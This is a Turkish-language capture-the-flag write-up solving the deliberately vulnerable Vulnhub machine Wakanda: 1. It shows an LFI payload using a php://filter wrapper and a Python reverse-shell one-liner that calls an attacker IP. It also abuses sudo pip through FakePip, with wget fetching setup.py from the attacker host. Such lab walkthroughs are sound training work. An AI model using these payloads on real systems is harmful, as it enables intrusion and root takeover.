Write-up CTF

Wakanda: 1 Writeup

Bu yazımda Vulnhub’ta yer alan orta zorluk seviyesindeki Wakanda: 1 adlı zafiyetli sanal makinesinin çözümünü paylaşacağım.

Haktan Emik |

02.09.2021

Aşağıdaki adresten sanal makineyi indirebilirsiniz.

https://www.vulnhub.com/entry/wakanda-1,251/

Sayfada yer alan açıklamada 3 adet flag olduğu belirtiliyor: flag1.txt, flag2.txt ve root.txt.

Makineyi, VMware veya VirtualBox sanallaştırma ortamlarından birine kurduktan sonra ilk olarak hedef IP adresimizi bulmakla işe koyulalım.

Netdiscover aracı ile bulunduğumuz subnet’teki aktif IP adreslerini tespit edelim.

netdiscover -r <range> -i <interface>


Wakanda1
 

Hedef makinemizin IP adresi: 10.0.2.6

IP adresini öğrendikten sonra ilk olarak sistem üzerinde çalışan servisler hakkında bilgi edinmek için nmap taraması yapalım.

nmap -Pn -n -A -v 10.0.2.6

Nmap taraması çıktısı:

Nmap scan report for 10.0.2.6
Host is up (0.00045s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33175/tcp status
|_ 100024 1 46635/udp status
3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
| 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
| 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_ 256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.9
Uptime guess: 0.004 days (since Mon Aug 20 16:05:56 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 numaralı portta yer alan web uygulaması ile başlayalım. Sayfayı ziyaret ettiğimizde aşağıdaki gibi bir ekranla karşılaşıyoruz.


Vibranium Market
 

Uygulama üzerinde dosya ve dizinleri tespit edebilmek için dirb ile dizin taraması yapalım.

dirb <url>


Wakanda1
 

Listelenen dizinlere göz attığımda herhangi bir sonuç elde edemedim. Ardından sayfanın kaynak kodunu incelediğimde yorum satırı olarak bırakılmış “lang” parametresi dikkatimi çekti.


Wakanda1
 

http://10.0.2.6/?lang=fr olarak gidildiğinde sayfanın dili değişiyor.


Wakanda1
 

Bu noktada bir Local File Inclusion (LFI) olabileceğini düşünerek denemeler yaptığımda zafiyetin olduğunu gördüm. İşleyiş olarak lang parametresine fr değeri verildiğinde bu parametre sonuna .php uzantısını ekleyip fr.php dosyası çağırıyor. Index.php dosyasının olduğunu bildiğimden dolayı PHP Wrapper ile bu dosyanın içeriğini okumaya çalıştım.


Wakanda1
 

curl http://10.0.2.6/?lang=php://filter/convert.base64-encode/resource=index | base64 -d


Wakanda1
 

Index.php dosyasını okuduğumda,

password =”Niamey4Ever227!!!” bilgisine ulaştım. Bu bilgiyi not ediyorum. Nmap taraması sonucunda 3333 numaralı portta SSH servisinin çalıştığını biliyoruz. Parolayı bulduk ama bize bir de kullanıcı adı lazım. Sayfanın kodunu incelemeye devam ettiğimde “mamadou” adını gördüm.


Wakanda1
 

“mamadou” kullanıcı adı ve index.php dosyasından ele geçirdiğimiz parola bilgisi ile giriş yapmayı denediğimde başarılı bir şekilde SSH bağlantısı yapabildim.


Wakanda1
 

SSH bağlantısı yaptığımda doğrudan python shell’e düştüm. Bash’e geçmek için;

import pty; pty.spawn(“/bin/bash”)

Bash’e düştükten sonra 1. flag’ımıza eriştik.

Flag 1: d86b9ad71ca887f4dd1dac86ba1c4dfc


Wakanda1
 

/etc/passwd dosyasını okuduğumda, sistemde “devops” adlı bir kullanıcı daha olduğunu görüyoruz.


Wakanda1
 

“devops” kullanıcısının /home dizinini listelediğimde flag2.txt dosyasını görebiliyoruz ancak okuma yetkimiz bulunmuyor. Bu dosyayı, devops kullanıcısı ve developer grubuna dahil olan kullanıcılar okuyabiliyor.


Wakanda1
 

Find komutu ile devops kullanıcısının sahip olduğu dosyaları listelediğimde, /srv/.antivirus.py dosyasına okuma ve yazma yetkimiz olduğunu görüyoruz.

find / -user devops 2>/dev/null


Wakanda1
 

Bu dosyanın periyodik olarak çalıştığını düşünerek, dosyaya yazabildiğimiz için reverse shell alabileceğimiz kodu ekliyoruz.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

Reverse Shell Cheat Sheet için: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md adresi incelenebilir.


Wakanda1
 

Reverse shell alacağım portu dinlemeye aldım. Ardından, belirli bir süre sonra devops kullanıcı yetkisi ile oturum elde ettim.


Wakanda1
 

2. flag’ımız home dizini altındaydı.

Flag 2: d8ce56398c88e1b4d9e5f83e64c79098

Sistemde root yetkisi elde etmek için devops kullanıcısının sudo yetkileri ile çalıştırabilir komutları listelediğimde, “pip” komutunun root yetkisi ile çalıştırılabildiğini görüyoruz.


Wakanda1
 

Pip üzerinden yetki yükseltmek için FakePip kullanılabilir.

https://github.com/0x00-0x00/FakePip

(https://gtfobins.github.io/gtfobins/pip/ adresi de incelenebilir.)

Repoyu lokalimize klonluyoruz.

git clone https://github.com/0x00-0x00/FakePip.git

Ardından setup.py dosyasındaki host bilgisine reverse shell alacağımız IP adresini tanımlayıp nc ile dinleme moduna geçiyoruz.

Hedef sistemde wget ile setup.py dosyasını sisteme indirelim.

wget http://10.0.2.4:8000/setup.py

Setup.py dosyasını hedef sisteme indirdikten sonra

sudo /usr/bin/pip install . –upgrade –force-reinstall

komutunu çalıştırdığımızda dinlediğimiz porta, root yetkilerinde reverse shell alıyoruz.


Wakanda1
 

“root” kullanıcısının home dizini altındaki root.txt dosyasını okuyalım.


Wakanda1
 

3. ve son root flag’ımız:

Root Flag: 821ae63dbe0c573eff8b69d451fb21bc